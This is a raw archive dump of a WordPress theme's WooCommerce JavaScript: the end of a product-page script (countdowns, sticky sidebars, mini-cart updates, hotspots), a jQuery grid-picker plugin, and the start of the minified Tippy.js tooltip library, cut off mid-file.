					var paddingValue = dd.innerWidth() + dd.parent().siblings( '.searchsubmit' ).innerWidth() + 17,
						padding = 'padding-right'

					if ( $( 'body' ).hasClass( 'rtl' ) ) {
						padding = 'padding-left'
					}

					$searchInput.css( padding, paddingValue )
					$searchInput.addClass( 'penci-padding-inited' )
				}
			} )
		}

		/* Countdown
	 ---------------------------------------------------------------*/
		PENCI.product_countdown = function () {
			$( '.penci-time-countdown' ).each( function () {
				var $this = $( this )
				dayjs.extend( window.dayjs_plugin_utc )
				dayjs.extend( window.dayjs_plugin_timezone )
				var time = dayjs.tz( $this.data( 'end-date' ), $this.data( 'timezone' ) )
				$this.countdown( time.toDate(), function ( event ) {
					$this.html( event.strftime( '' + '<span class="countdown-days">%-D <span>' + penciwoo.countdown_days + '</span></span> ' + '<span class="countdown-hours">%H <span>' + penciwoo.countdown_hours + '</span></span> ' + '<span class="countdown-min">%M <span>' + penciwoo.countdown_mins + '</span></span> ' + '<span class="countdown-sec">%S <span>' + penciwoo.countdown_sec + '</span></span>' ) )
				} )
			} )
		}

		/* Product Sticky sidebar
	 ----------------------------------------------------------------*/
		PENCI.product_sticky_sidebar = function () {
			if ( $().theiaStickySidebar ) {
				var top_margin = 90
				if ( $( 'body' ).hasClass( 'admin-bar' ) && $( 'body' ).hasClass( 'penci-vernav-enable' ) ) {
					top_margin = 62
				} else if ( !$( 'body' ).hasClass( 'admin-bar' ) && $( 'body' ).hasClass( 'penci-vernav-enable' ) ) {
					top_margin = 30
				} else if ( $( 'body' ).hasClass( 'admin-bar' ) && !$( 'body' ).hasClass( 'penci-vernav-enable' ) ) {
					top_margin = 122
				}

				$( '#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar' ).theiaStickySidebar( {
					// settings
					additionalMarginTop: top_margin,
				} )

				$( '.penci-product-summary.penci-main-sticky-sidebar, .woocommerce-product-gallery.penci-sticky-sidebar' ).theiaStickySidebar( {
					// settings.
					additionalMarginTop: top_margin,
				} )

				$( '.sidebar-bottom .penci-content-sticky-sidebar .bottom-content, .sidebar-bottom .penci-content-sticky-sidebar #sidebar.penci-sticky-sidebar' ).theiaStickySidebar( {
					// settings.
					additionalMarginTop: top_margin,
				} )
			} // if sticky
		}

		/* Product Sidebar Quantity
	 ----------------------------------------------------------------*/
		PENCI.sidecartQuantity = function () {
			var timeout
			$( document ).on( 'change input', '.woocommerce-mini-cart .quantity .qty', function () {
				var input = $( this ), qtyVal = input.val(), itemID = input.parents( '.mini_cart_item' ).data( 'key' ),
					penci_loading_icon = '<span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span class="bubble"></span></span>'

				clearTimeout( timeout )

				timeout = setTimeout( function () {
					input.parents( '.mini_cart_item' ).append( penci_loading_icon ).addClass( 'loading' )

					$.ajax( {
						url: penciwoo.ajaxUrl, data: {
							action: 'penci_shop_update_cart_item', item_id: itemID, qty: qtyVal,
						}, success: function ( data ) {
							if ( data && data.fragments ) {
								$.each( data.fragments, function ( key, value ) {
									if ( $( key ).hasClass( 'widget_shopping_cart_content' ) ) {
										var dataItemValue = $( value ).find( '.woocommerce-mini-cart-item[data-key="' + itemID + '"]' ),
											dataFooterValue = $( value ).find( '.woocommerce-mini-cart__total' ),
											$itemSelector = $( key ).find( '.woocommerce-mini-cart-item[data-key="' + itemID + '"]' )

										if ( !data.cart_hash ) {
											$( key ).replaceWith( value )
										} else {
											$itemSelector.replaceWith( dataItemValue )
											$( '.woocommerce-mini-cart__total' ).replaceWith( dataFooterValue )
										}
									} else {
										$( key ).replaceWith( value )
									}
								} )
							}
						}, dataType: 'json', method: 'GET',
					} )
				}, 500 )
			} )
		}

		/* Product Sticky sidebar
	----------------------------------------------------------------*/
		PENCI.fixproductIconsize = function () {
			$( 'ul.products' ).find( 'li.product' ).each( function ( e ) {
				var productC = $( this ), productZ = productC.closest( 'ul.products' ),
					productB = productC.find( '.penci-product-loop-button' ).innerHeight(),
					productW = productC.find( '.penci-product-loop-top' ).innerHeight()
				if ( productB > productW ) {
					productZ.addClass( 'penci-small-width' )
				} else {
					productZ.removeClass( 'penci-small-width' )
				}
			} )
			$( '.widget.soledad-product-filter' ).each( function () {
				var items = $( this ).find( 'ul.swatches-display-list li' ).length,
					height = $( this ).find( 'ul.swatches-display-list li' ).outerHeight(), standard = penciwoo.wdgh

				if ( PENCI.isMobile() || window.matchMedia( '(max-width: 768px)' ).matches ) {
					standard = penciwoo.wdgmh
				}

				$( this ).addClass( 'penci-scroll-inactive' ).removeClass( 'penci-scroll-active' )

				if ( items * height + items * 5.32 > standard ) {
					$( this ).removeClass( 'penci-scroll-inactive' ).addClass( 'penci-scroll-active' )
				}
			} )
		}

		/* Hotspot Product
	----------------------------------------------------------------*/
		PENCI.producthotspot = function () {
			$( '.penci-image-hotspot' ).each( function () {
				var _this = $( this )
				var btn = _this.find( '.hotspot-btn' )
				var parentWrapper = _this.parents( '.penci-image-hotspot-wrapper' )

				if ( !parentWrapper.hasClass( 'hotspot-action-click' ) && $( window ).width() > 1024 ) {
					return
				}

				btn.on( 'click', function () {
					if ( _this.hasClass( 'hotspot-opened' ) ) {
						_this.removeClass( 'hotspot-opened' )
					} else {
						_this.addClass( 'hotspot-opened' )
						_this.siblings().removeClass( 'hotspot-opened' )
					}

					$( document ).trigger( 'wood-images-loaded' )
					return false
				} )

				$( document ).on( 'click', function ( e ) {
					var target = e.target

					if ( _this.hasClass( 'hotspot-opened' ) && !$( target ).is( '.penci-image-hotspot' ) && !$( target ).parents().is( '.penci-image-hotspot' ) ) {
						_this.removeClass( 'hotspot-opened' )
						return false
					}
				} )
			} )

			//Image loaded
			$( '.penci-image-hotspot-wrapper' ).each( function () {
				var _this = $( this )
				_this.imagesLoaded( function () {
					_this.addClass( 'loaded' )
				} )
			} )

			$( '.pc-image-hotspot .hotspot-content' ).each( function () {
				var content = $( this ), offsetLeft = content.offset().left, offsetRight = $( window ).width() - (
					offsetLeft + content.outerWidth()
				)

				if ( $( window ).width() > 768 ) {
					if ( offsetLeft <= 0 ) {
						content.addClass( 'hotspot-overflow-right' )
					}
					if ( offsetRight <= 0 ) {
						content.addClass( 'hotspot-overflow-left' )
					}
				}

				if ( $( window ).width() <= 768 ) {
					if ( offsetLeft <= 0 ) {
						content.css( 'marginLeft', Math.abs( offsetLeft - 15 ) + 'px' )
					}
					if ( offsetRight <= 0 ) {
						content.css( 'marginLeft', offsetRight - 15 + 'px' )
					}
				}
			} )
		}

		/* Soledad on Mobile
	----------------------------------------------------------------*/
		PENCI.mobileTrigger = function () {
			$( document ).on( 'mouseenter mousemove touchstart', '.penci-soledad-product', function ( e ) {
				var $this = $( this )
				$this.closest( 'ul.products' ).find( '.penci-soledad-product' ).removeClass( 'penci-hover' )
				$this.addClass( 'penci-hover' )
			} )
		}

		/* Init functions
	 ---------------------------------------------------------------*/
		$( document ).ready( function () {
			PENCI.yith()
			PENCI.quickview()
			PENCI.wishlist()
			PENCI.compare()
			PENCI.swatches( '.entry-summary .variations_form' )
			PENCI.productslider()
			PENCI.quantity()
			PENCI.productLoop()
			PENCI.productATC()
			PENCI.productVATC()
			PENCI.quickshop()
			PENCI.accordion()
			PENCI.productCarousel()
			PENCI.productSticky()
			PENCI.tippyContent()
			PENCI.pagination()
			PENCI.select2button()
			PENCI.topWidgets()
			PENCI.productQuery()
			PENCI.productFilters()
			PENCI.misc()
			PENCI.categoryDropdown()
			PENCI.product_countdown()
			PENCI.product_sticky_sidebar()
			PENCI.loadingicon()
			PENCI.sidecartQuantity()
			PENCI.producthotspot()
			PENCI.fixproductIconsize()
			PENCI.wooextra()
			if ( /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test( navigator.userAgent ) ) {
				PENCI.mobileTrigger()
			}
			if ( 'dropdown' !== penciwoo.cartstyle.toString() ) {
				PENCI.sidecart()
			}
			if ( penciwoo.ajaxshop > 0 ) {
				PENCI.ajaxfilter()
			}
			$( window ).on( 'resize', function () {
				PENCI.fixproductIconsize()
			} )
		} )

		// Hook to Elementor Edit.
		$.each( ['frontend/element_ready/penci_product_deals.default'], function ( index, value ) {
			PENCI.elAction( value, function () {
				PENCI.fixproductIconsize()
			} )
		} )

		$.each( ['frontend/element_ready/penci_products_tabs.default'], function ( index, value ) {
			PENCI.elAction( value, function () {
				PENCI.productQuery()
				PENCI.fixproductIconsize()
				PENCI.tippyContent()
			} )
		} )

		$.each( ['frontend/element_ready/penci_product_hotspot.default'], function ( index, value ) {
			PENCI.elAction( value, function () {
				PENCI.producthotspot()
			} )
		} )

		$.each( [
			'frontend/element_ready/penci_products.default',
			'frontend/element_ready/penci_product_categories.default',
			'frontend/element_ready/penci_products_brands.default',
		], function ( index, value ) {
			PENCI.elAction( value, function () {
				$( 'body' ).trigger( 'slider-load' )
				PENCI.misc()
				PENCI.fixproductIconsize()
				PENCI.tippyContent()
			} )
		} )
	}
)( jQuery )
PK     0w\mwK  K  $  woocommerce/js/jquery-grid-picker.jsnu [        ;(function (root, factory) {
    // AMD.
    if (typeof define === "function" && define.amd)
        define(["jquery"], factory);

    // Node, CommonJS-like.
    else if (typeof exports === "object")
        factory(require("jquery"));

    // Browser globals.
    else
        factory(root.jQuery);
}(this, function ($) {
    // Strict mode.
    "use strict";

    // @todo
    //      - markup: datalist > option
    //      - markup: select > optgroup > option

    /**
     * Initialize GridPicker.
     *
     * @param  {HTMLSelectElement} element select element node
     * @param  {Object}            options see GridPicker.prototype._defaults
     * @return {Void}
     */
    var GridPicker = function (element, options) {
        if (!(this instanceof GridPicker))
            throw "GridPicker: GridPicker is a constructor.";
        if (!(element instanceof HTMLSelectElement))
            throw "GridPicker: element argument must be of type HTMLSelectElement.";

        this._element = element;
        this._options = options;

        this._init();
    }

    /**
     * GridPicker prototype.
     *
     * @type {Object}
     */
    GridPicker.prototype = {
        /**
         * Default options.
         *
         * @type {Object}
         */
        _defaults: {
            /**
             * Render method.
             *
             * If not defined (Null) the default render
             * method will be used. The first argument
             * in function is HTMLOptionElement, and the
             * result should be any HTMLElement.
             *
             * Example usage:
             *
             * $(selector).gridPicker({
             *     render: function(element) {
             *         return $("<a />")
             *             .attr("href", "#")
             *             .attr("title", label)
             *             .text(label)
             *             .get(0);
             *     }
             * }
             *
             * @type {Function|Null}
             */
            render: null,

            /**
             * Can item be selected.
             *
             * If not defined (Null) the default canSelect
             * method will be used. It can be True, False
             * or Function. The first argument in function
             * is HTMLOptionElement, and the result should
             * be True|False.
             *
             * Example usage:
             *
             * $(selector).gridPicker({
             *     canSelect: function(element) {
             *         return !$(element).is(":disabled");
             *     }
             * }
             *
             * @type {Function|Boolean|Null}
             */
            canSelect: null,

            /**
             * Can item be unselected.
             *
             * If not defined (Null) the default canUnselect
             * method will be used. It can be True, False
             * or Function. The first argument in function
             * is HTMLOptionElement, and the result should
             * be True|False.
             *
             * Example usage:
             *
             * $(selector).gridPicker({
             *     canUnselect: function(element) {
             *         return typeof this._$ui.element.attr("multiple") !== "undefined";
             *     }
             * }
             *
             * @type {Function|Boolean|Null}
             */
            canUnselect: null,
        },

        /**
         * Constructor.
         *
         * @return {Void}
         */
        _init: function () {
            // Already instanced.
            if ($(this._element).data("jquery-grid-picker"))
                return;

            // Init all.
            this._initElement();
            this._initWidget();
            this._initOptions();
            this._initUi();
            this._initObserver();

            // Render items.
            this.refresh();
        },

        /**
         * Initialize element.
         *
         * @return {Void}
         */
        _initElement: function () {
            this._element = $(this._element)
                .addClass("jquery-grid-picker")
                .off(".jquerygridpicker")
                .on("change.jquerygridpicker", this._handleElementChange.bind(this))
                .data("jquery-grid-picker", this)
                .get(0);
        },

        /**
         * Initialize widget.
         *
         * @return {Void}
         */
        _initWidget: function () {
            this._widget = $("<ul />")
                .addClass("jquery-grid-picker-widget")
                .on("click.jquerygridpicker", ".jquery-grid-picker-item", this._handleItemClick.bind(this))
                .insertAfter(this.element)
                .get(0);
        },

        /**
         * Initialize options.
         *
         * @return {Void}
         */
        _initOptions: function () {
            this._options = $.extend({}, this._defaults, this._options);

            // Delete invalid option keys.
            for (var key in this._options) {
                if (!this._defaults.hasOwnProperty(key))
                    delete this._options[key];
            }
        },

        /**
         * Initialize ui.
         *
         * @return {Void}
         */
        _initUi: function () {
            this._$ui = {
                element: $(this.element),
                widget: $(this.widget),
                items: $(null),
            };
        },

        /**
         * Initialize mutation observer.
         *
         * @return {Void}
         */
        _initObserver: function () {
            this._observer = null;
            if (typeof MutationObserver === "undefined")
                return;

            this._observer = new MutationObserver(this._handleMutation.bind(this));
            this._observer.observe(this.element, {
                attributes: true,
                childList: true,
                subtree: true,
                characterData: true,
            });
        },

        /**
         * Destructor.
         *
         * @return {Void}
         */
        destroy: function () {
            if (this._observer)
                this._observer.disconnect();

            this._$ui.element
                .off(".jquerygridpicker")
                .removeClass("jquery-grid-picker")
                .removeData("jquery-grid-picker");
            this._$ui.widget
                .remove();

            this._$ui = null;
            this._observer = null;
            this._options = null;
            this._widget = null;
            this._element = null;
        },

        /**
         * Element property getter.
         *
         * @return {HTMLSelectElement}
         */
        get element() {
            return this._element;
        },

        /**
         * Widget property getter.
         *
         * @return {HTMLElement}
         */
        get widget() {
            return this._widget;
        },

        /**
         * Get option.
         *
         * @param  {String} key
         * @return {Mixed}
         */
        getOption: function (key) {
            return this._options[key];
        },

        /**
         * Set option.
         *
         * @param  {String} key
         * @param  {Mixed}  value
         * @return {Void}
         */
        setOption: function (key, value) {
            if (this._defaults.hasOwnProperty(key))
                this._options[key] = value;
        },

        /**
         * Element value.
         *
         * @return {String}
         */
        value: function () {
            return this._$ui.element.val();
        },

        /**
         * Reset element value to null.
         *
         * @return {Void}
         */
        reset: function () {
            this._$ui.element.val(null);
        },

        /**
         * Refresh (render) option list.
         *
         * @return {Void}
         */
        refresh: function () {
            this._$ui.widget.empty();
            this._$ui.items = $(null);

            this._$ui.element
                .find("option")
                .each(function (index, element) {
                    this._syncItem(element);
                }.bind(this));

            this._handleElementChange();
        },

        /**
         * Sync select option and widget list item.
         *
         * @param  {HTMLOptionElement} element
         * @return {Void}
         */
        _syncItem: function (element) {
            // Clear old element widget item (if exists).
            var $element = $(element),
                attached = !!$element.closest(this.element).length,
                value = $element.val(),
                item = this._$ui.items.filter('[data-jquery-grid-picker-value="' + this._selectorEscape(value) + '"]').get(0);
            this._$ui.items = this._$ui.items.not(item);
            $(item).remove();

            // Element is detached, nothing else to do here.
            if (!attached)
                return;

            // Render item content from render option.
            var content = null,
                render = this.getOption("render");
            if (typeof render === "function")
                content = render.call(this, element);
            else
                content = this._renderItemContent(element);
            if (!content)
                return;

            var index = $element.index(),
                selected = $element.prop("selected"),
                hidden = $element.css("display") === "none",
                disabled = $element.is(":disabled");

            // Render new element widget item.
            item = this._renderItemWrapper(element);
            $(item)
                .addClass("jquery-grid-picker-item")
                .addClass("jquery-grid-picker-item-" + (selected ? "selected" : "temp"))
                .addClass("jquery-grid-picker-item-" + (hidden ? "hidden" : "temp"))
                .addClass("jquery-grid-picker-item-" + (disabled ? "disabled" : "temp"))
                .removeClass("jquery-grid-picker-item-temp")
                .attr("data-jquery-grid-picker-value", value)
                .removeAttr("data-jquery-grid-picker-item-temp");
            $(content)
                .addClass("jquery-grid-picker-item-content")
                .appendTo(item);

            // ...and append it to widget.
            if (!index)
                this._$ui.widget.prepend(item);
            else
                this._$ui.widget.find(".jquery-grid-picker-item:nth-child(" + index + ")").after(item);

            // Refresh ui.
            this._$ui.items = this._$ui.items
                .add(item);
        },

        /**
         * Render list item wrapper.
         *
         * @param  {HTMLOptionElement} element
         * @return {HTMLElement}
         */
        _renderItemWrapper: function (element) {
            return $("<li />").get(0);
        },

        /**
         * Render list item (default) content:
         * this is a render fallback if no render
         * option is specified.
         *
         * @param  {HTMLOptionElement} element
         * @return {HTMLElement}
         */
        _renderItemContent: function (element) {
            var $element = $(element),
                label = $element.attr("label") || $element.text();
            return $("<a />")
                .attr("href", "#")
                .attr("title", label)
                .attr("data-tippy-content", label)
                .attr("draggable", "false")
                .text(label)
                .get(0);
        },

        /**
         * Can select item.
         *
         * @param  {HTMLOptionElement} element
         * @return {Boolean}
         */
        _canSelect: function (element) {
            var option = this.getOption("canSelect");
            if (typeof option === "boolean")
                return option;
            else if (typeof option === "function")
                return !!option.call(this, element);

            return !$(element).is(":disabled");
        },

        /**
         * Can unselect item.
         *
         * @param  {HTMLOptionElement} element
         * @return {Boolean}
         */
        _canUnselect: function (element) {
            var option = this.getOption("canUnselect");
            if (typeof option === "boolean")
                return option;
            else if (typeof option === "function")
                return !!option.call(this, element);

            return this.element.hasAttribute("multiple");
        },

        /**
         * Escape string so we can use it as css selector.
         *
         * @param  {String} str
         * @return {String}
         */
        _selectorEscape: function (str) {
            return str.toString()
                .replace(/"/g, "\\\"");
        },

        /**
         * Mutation observer callback:
         * sync select option and widget list item.
         *
         * @param  {Array} e
         * @return {Void}
         */
        _handleMutation: function (e) {
            // Element list that needs sync. It would be easier
            // to use jQuery object here, but jQuery's list of
            // elements is sorted. We need to apply sync method
            // on elements as provided in MutationRecord list.
            var elements = [],
                addToElements = function (element) {
                    $(element)
                        .closest("option")
                        .each(function (index, value) {
                            if (elements.indexOf(value) === -1)
                                elements.push(value);
                        });
                };

            // Iterate mutation record list and find elements
            // that need sync.
            e.forEach(function (record) {
                if (record.type === "childList") {
                    addToElements(record.removedNodes);
                    addToElements(record.addedNodes);
                } else if ((record.type === "attributes" && record.target !== this.element) || (record.type === "characterData"))
                    addToElements(record.target);
            }.bind(this));

            // Sync mutated elements.
            elements.forEach(function (element) {
                this._syncItem(element);
            }.bind(this));
        },

        /**
         * Element change event handler.
         *
         * @param  {Event} e
         * @return {Void}
         */
        _handleElementChange: function (e) {
            var value = this.value(),
                filter = null;

            if (typeof value === "string")
                filter = '[data-jquery-grid-picker-value="' + this._selectorEscape(value) + '"]';
            else if (value instanceof Array)
                filter = value
                    .map(function (item) {
                        return '[data-jquery-grid-picker-value="' + this._selectorEscape(item) + '"]';
                    }.bind(this))
                    .join(",");

            this._$ui.items
                .removeClass("jquery-grid-picker-item-selected")
                .filter(filter)
                .addClass("jquery-grid-picker-item-selected");
        },

        /**
         * Item click event handler.
         *
         * @param  {Event} e
         * @return {Void}
         */
        _handleItemClick: function (e) {
            e.preventDefault();

            var target = e.currentTarget,
                value = $(target).attr("data-jquery-grid-picker-value") || "",
                $option = this._$ui.element.find('option[value="' + this._selectorEscape(value) + '"]'),
                option = $option.get(0),
                isSelected = $option.is(":selected");

            // Unselect selected.
            if (isSelected && this._canUnselect(option)) {
                // Non multiple select elements can not have all the
                // options unselected (it will default to first option),
                // so we will reset it's value.
                var length = this._$ui.element.find("option:selected").length;
                if (length - 1 === 0)
                    this.reset();
                else
                    $option.prop("selected", false);
            }

            // Select unselected.
            else if (!isSelected && this._canSelect(option))
                $option.prop("selected", true);

            // Select/unselect fail, return.
            else
                return;

            // Trigger change and let change event handler
            // do the rest.
            this._$ui.element
                .trigger("change");
        },
    };

    // Re-assign constuctor.
    GridPicker.prototype.constructor = GridPicker;

    /**
     * jQuery gridPicker plugin:
     * display HTMLSelectElement as grid with clickable
     * (select/unselect) items.
     *
     * Instance new GridPicker on element(s)
     * >> $(selector).gridPicker(options);
     *
     * ...execute GridPicker method
     * >> $(selector)
     *        .gridPicker("setOption", "canUnselect", true)
     *        .gridPicker("reset");
     *
     * ...or access GridPicker property
     * >> var widget = $(selector).gridPicker("widget");
     *
     * @param  {Mixed} options
     * @return {Mixed}
     */
    $.fn.gridPicker = function (options) {
        var classObject = GridPicker,
            className = "GridPicker",
            store = "jquery-grid-picker",
            args = Array.prototype.slice.call(arguments, 1),
            $this = $(this);

        // Iterate all
        $this.each(function () {
            // Get instance (or create new one).
            var instance = $(this).data(store);
            if (!instance)
                instance = new classObject(this, typeof options === "object" ? options : {});

            // Access properties.
            if (typeof options === "string") {
                var exists = options in instance,
                    isPrivate = options.substr(0, 1) === "_",
                    type = typeof instance[options];

                // Property is function, execute it.
                if (exists && !isPrivate && type === "function" && instance[options] !== Object.prototype[options] && options !== "constructor") {
                    var result = instance[options].apply(instance, args);

                    // Function returned result (non undefined), store
                    // result, exit loop.
                    if (typeof result !== "undefined") {
                        $this = result;
                        return false;
                    }
                }

                // Property as getter (get, store result, exit loop).
                else if (exists && !isPrivate && type !== "function" && !args.length) {
                    $this = instance[options];
                    return false;
                }

                // Property as setter (set, continue).
                else if (exists && !isPrivate && type !== "function") {
                    instance[options] = args[0];
                }

                // Invalid option argument.
                else {
                    throw className + ": " + options + " is not a valid " + className + " property.";
                }
            }
        });

        // ...finally.
        return $this;
    };
}));
PK     0w\*dxb  xb  &  woocommerce/js/tippy-bundle.umd.min.jsnu [        !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("@popperjs/core")):"function"==typeof define&&define.amd?define(["@popperjs/core"],e):(t=t||self).tippy=e(t.Popper)}(this,(function(t){"use strict";var e="undefined"!=typeof window&&"undefined"!=typeof document,n=e?navigator.userAgent:"",r=/MSIE |Trident\//.test(n),i={passive:!0,capture:!0};function o(t,e,n){if(Array.isArray(t)){var r=t[e];return null==r?Array.isArray(n)?n[e]:n:r}return t}function a(t,e){var n={}.toString.call(t);return 0===n.indexOf("[object")&&n.indexOf(e+"]")>-1}function s(t,e){return"function"==typeof t?t.apply(void 0,e):t}function p(t,e){return 0===e?t:function(r){clearTimeout(n),n=setTimeout((function(){t(r)}),e)};var n}function u(t,e){var n=Object.assign({},t);return e.forEach((function(t){delete n[t]})),n}function c(t){return[].concat(t)}function f(t,e){-1===t.indexOf(e)&&t.push(e)}function l(t){return t.split("-")[0]}function d(t){return[].slice.call(t)}function v(){return document.createElement("div")}function m(t){return["Element","Fragment"].some((function(e){return a(t,e)}))}function g(t){return a(t,"MouseEvent")}function h(t){return!(!t||!t._tippy||t._tippy.reference!==t)}function b(t){return m(t)?[t]:function(t){return a(t,"NodeList")}(t)?d(t):Array.isArray(t)?t:d(document.querySelectorAll(t))}function y(t,e){t.forEach((function(t){t&&(t.style.transitionDuration=e+"ms")}))}function w(t,e){t.forEach((function(t){t&&t.setAttribute("data-state",e)}))}function x(t){var e,n=c(t)[0];return(null==n||null==(e=n.ownerDocument)?void 0:e.body)?n.ownerDocument:document}function E(t,e,n){var r=e+"EventListener";["transitionend","webkitTransitionEnd"].forEach((function(e){t[r](e,n)}))}var O={isTouch:!1},C=0;function T(){O.isTouch||(O.isTouch=!0,window.performance&&document.addEventListener("mousemove",A))}function A(){var t=performance.now();t-C<20&&(O.isTouch=!1,document.removeEventListener("mousemove",A)),C=t}function L(){var t=document.activeElement;if(h(t)){var e=t._tippy;t.blur&&!e.state.isVisible&&t.blur()}}var D=Object.assign({appendTo:function(){return document.body},aria:{content:"auto",expanded:"auto"},delay:0,duration:[300,250],getReferenceClientRect:null,hideOnClick:!0,ignoreAttributes:!1,interactive:!1,interactiveBorder:2,interactiveDebounce:0,moveTransition:"",offset:[0,10],onAfterUpdate:function(){},onBeforeUpdate:function(){},onCreate:function(){},onDestroy:function(){},onHidden:function(){},onHide:function(){},onMount:function(){},onShow:function(){},onShown:function(){},onTrigger:function(){},onUntrigger:function(){},onClickOutside:function(){},placement:"top",plugins:[],popperOptions:{},render:null,showOnCreate:!1,touch:!0,trigger:"mouseenter focus",triggerTarget:null},{animateFill:!1,followCursor:!1,inlinePositioning:!1,sticky:!1},{},{allowHTML:!1,animation:"fade",arrow:!0,content:"",inertia:!1,maxWidth:350,role:"tooltip",theme:"",zIndex:9999}),k=Object.keys(D);function R(t){var e=(t.plugins||[]).reduce((function(e,n){var r=n.name,i=n.defaultValue;return r&&(e[r]=void 0!==t[r]?t[r]:i),e}),{});return Object.assign({},t,{},e)}function j(t,e){var n=Object.assign({},e,{content:s(e.content,[t])},e.ignoreAttributes?{}:function(t,e){return(e?Object.keys(R(Object.assign({},D,{plugins:e}))):k).reduce((function(e,n){var r=(t.getAttribute("data-tippy-"+n)||"").trim();if(!r)return e;if("content"===n)e[n]=r;else try{e[n]=JSON.parse(r)}catch(t){e[n]=r}return e}),{})}(t,e.plugins));return n.aria=Object.assign({},D.aria,{},n.aria),n.aria={expanded:"auto"===n.aria.expanded?e.interactive:n.aria.expanded,content:"auto"===n.aria.content?e.interactive?null:"describedby":n.aria.content},n}function M(t,e){t.innerHTML=e}function P(t){var e=v();return!0===t?e.className="tippy-arrow":(e.className="tippy-svg-arrow",m(t)?e.appendChild(t):M(e,t)),e}function V(t,e){m(e.content)?(M(t,""),t.appendChild(e.content)):"function"!=typeof e.content&&(e.allowHTML?M(t,e.content):t.textContent=e.content)}function I(t){var e=t.firstElementChild,n=d(e.children);return{box:e,content:n.find((function(t){return t.classList.contains("tippy-content")})),arrow:n.find((function(t){return t.classList.contains("tippy-arrow")||t.classList.contains("tippy-svg-arrow")})),backdrop:n.find((function(t){return t.classList.contains("tippy-backdrop")}))}}function S(t){var e=v(),n=v();n.className="tippy-box",n.setAttribute("data-state","hidden"),n.setAttribute("tabindex","-1");var r=v();function i(n,r){var i=I(e),o=i.box,a=i.content,s=i.arrow;r.theme?o.setAttribute("data-theme",r.theme):o.removeAttribute("data-theme"),"string"==typeof r.animation?o.setAttribute("data-animation",r.animation):o.removeAttribute("data-animation"),r.inertia?o.setAttribute("data-inertia",""):o.removeAttribute("data-inertia"),o.style.maxWidth="number"==typeof r.maxWidth?r.maxWidth+"px":r.maxWidth,r.role?o.setAttribute("role",r.role):o.removeAttribute("role"),n.content===r.content&&n.allowHTML===r.allowHTML||V(a,t.props),r.arrow?s?n.arrow!==r.arrow&&(o.removeChild(s),o.appendChild(P(r.arrow))):o.appendChild(P(r.arrow)):s&&o.removeChild(s)}return r.className="tippy-content",r.setAttribute("data-state","hidden"),V(r,t.props),e.appendChild(n),n.appendChild(r),i(t.props,t.props),{popper:e,onUpdate:i}}S.$$tippy=!0;var B=1,H=[],N=[];function U(e,n){var a,u,m,h,b,C,T,A,L,k=j(e,Object.assign({},D,{},R((a=n,Object.keys(a).reduce((function(t,e){return void 0!==a[e]&&(t[e]=a[e]),t}),{}))))),M=!1,P=!1,V=!1,S=!1,U=[],_=p(bt,k.interactiveDebounce),z=B++,F=(L=k.plugins).filter((function(t,e){return L.indexOf(t)===e})),W={id:z,reference:e,popper:v(),popperInstance:null,props:k,state:{isEnabled:!0,isVisible:!1,isDestroyed:!1,isMounted:!1,isShown:!1},plugins:F,clearDelayTimeouts:function(){clearTimeout(u),clearTimeout(m),cancelAnimationFrame(h)},setProps:function(t){if(W.state.isDestroyed)return;it("onBeforeUpdate",[W,t]),gt();var n=W.props,r=j(e,Object.assign({},W.props,{},t,{ignoreAttributes:!0}));W.props=r,mt(),n.interactiveDebounce!==r.interactiveDebounce&&(st(),_=p(bt,r.interactiveDebounce));n.triggerTarget&&!r.triggerTarget?c(n.triggerTarget).forEach((function(t){t.removeAttribute("aria-expanded")})):r.triggerTarget&&e.removeAttribute("aria-expanded");at(),rt(),q&&q(n,r);W.popperInstance&&(Et(),Ct().forEach((function(t){requestAnimationFrame(t._tippy.popperInstance.forceUpdate)})));it("onAfterUpdate",[W,t])},setContent:function(t){W.setProps({content:t})},show:function(){var t=W.state.isVisible,e=W.state.isDestroyed,n=!W.state.isEnabled,r=O.isTouch&&!W.props.touch,i=o(W.props.duration,0,D.duration);if(t||e||n||r)return;if(Z().hasAttribute("disabled"))return;if(it("onShow",[W],!1),!1===W.props.onShow(W))return;W.state.isVisible=!0,Q()&&(Y.style.visibility="visible");rt(),ft(),W.state.isMounted||(Y.style.transition="none");if(Q()){var a=et(),p=a.box,u=a.content;y([p,u],0)}T=function(){var t;if(W.state.isVisible&&!S){if(S=!0,Y.offsetHeight,Y.style.transition=W.props.moveTransition,Q()&&W.props.animation){var e=et(),n=e.box,r=e.content;y([n,r],i),w([n,r],"visible")}ot(),at(),f(N,W),null==(t=W.popperInstance)||t.forceUpdate(),W.state.isMounted=!0,it("onMount",[W]),W.props.animation&&Q()&&function(t,e){dt(t,e)}(i,(function(){W.state.isShown=!0,it("onShown",[W])}))}},function(){var t,e=W.props.appendTo,n=Z();t=W.props.interactive&&e===D.appendTo||"parent"===e?n.parentNode:s(e,[n]);t.contains(Y)||t.appendChild(Y);Et()}()},hide:function(){var t=!W.state.isVisible,e=W.state.isDestroyed,n=!W.state.isEnabled,r=o(W.props.duration,1,D.duration);if(t||e||n)return;if(it("onHide",[W],!1),!1===W.props.onHide(W))return;W.state.isVisible=!1,W.state.isShown=!1,S=!1,M=!1,Q()&&(Y.style.visibility="hidden");if(st(),lt(),rt(),Q()){var i=et(),a=i.box,s=i.content;W.props.animation&&(y([a,s],r),w([a,s],"hidden"))}ot(),at(),W.props.animation?Q()&&function(t,e){dt(t,(function(){!W.state.isVisible&&Y.parentNode&&Y.parentNode.contains(Y)&&e()}))}(r,W.unmount):W.unmount()},hideWithInteractivity:function(t){tt().addEventListener("mousemove",_),f(H,_),_(t)},enable:function(){W.state.isEnabled=!0},disable:function(){W.hide(),W.state.isEnabled=!1},unmount:function(){W.state.isVisible&&W.hide();if(!W.state.isMounted)return;Ot(),Ct().forEach((function(t){t._tippy.unmount()})),Y.parentNode&&Y.parentNode.removeChild(Y);N=N.filter((function(t){return t!==W})),W.state.isMounted=!1,it("onHidden",[W])},destroy:function(){if(W.state.isDestroyed)return;W.clearDelayTimeouts(),W.unmount(),gt(),delete e._tippy,W.state.isDestroyed=!0,it("onDestroy",[W])}};if(!k.render)return W;var X=k.render(W),Y=X.popper,q=X.onUpdate;Y.setAttribute("data-tippy-root",""),Y.id="tippy-"+W.id,W.popper=Y,e._tippy=W,Y._tippy=W;var $=F.map((function(t){return t.fn(W)})),J=e.hasAttribute("aria-expanded");return 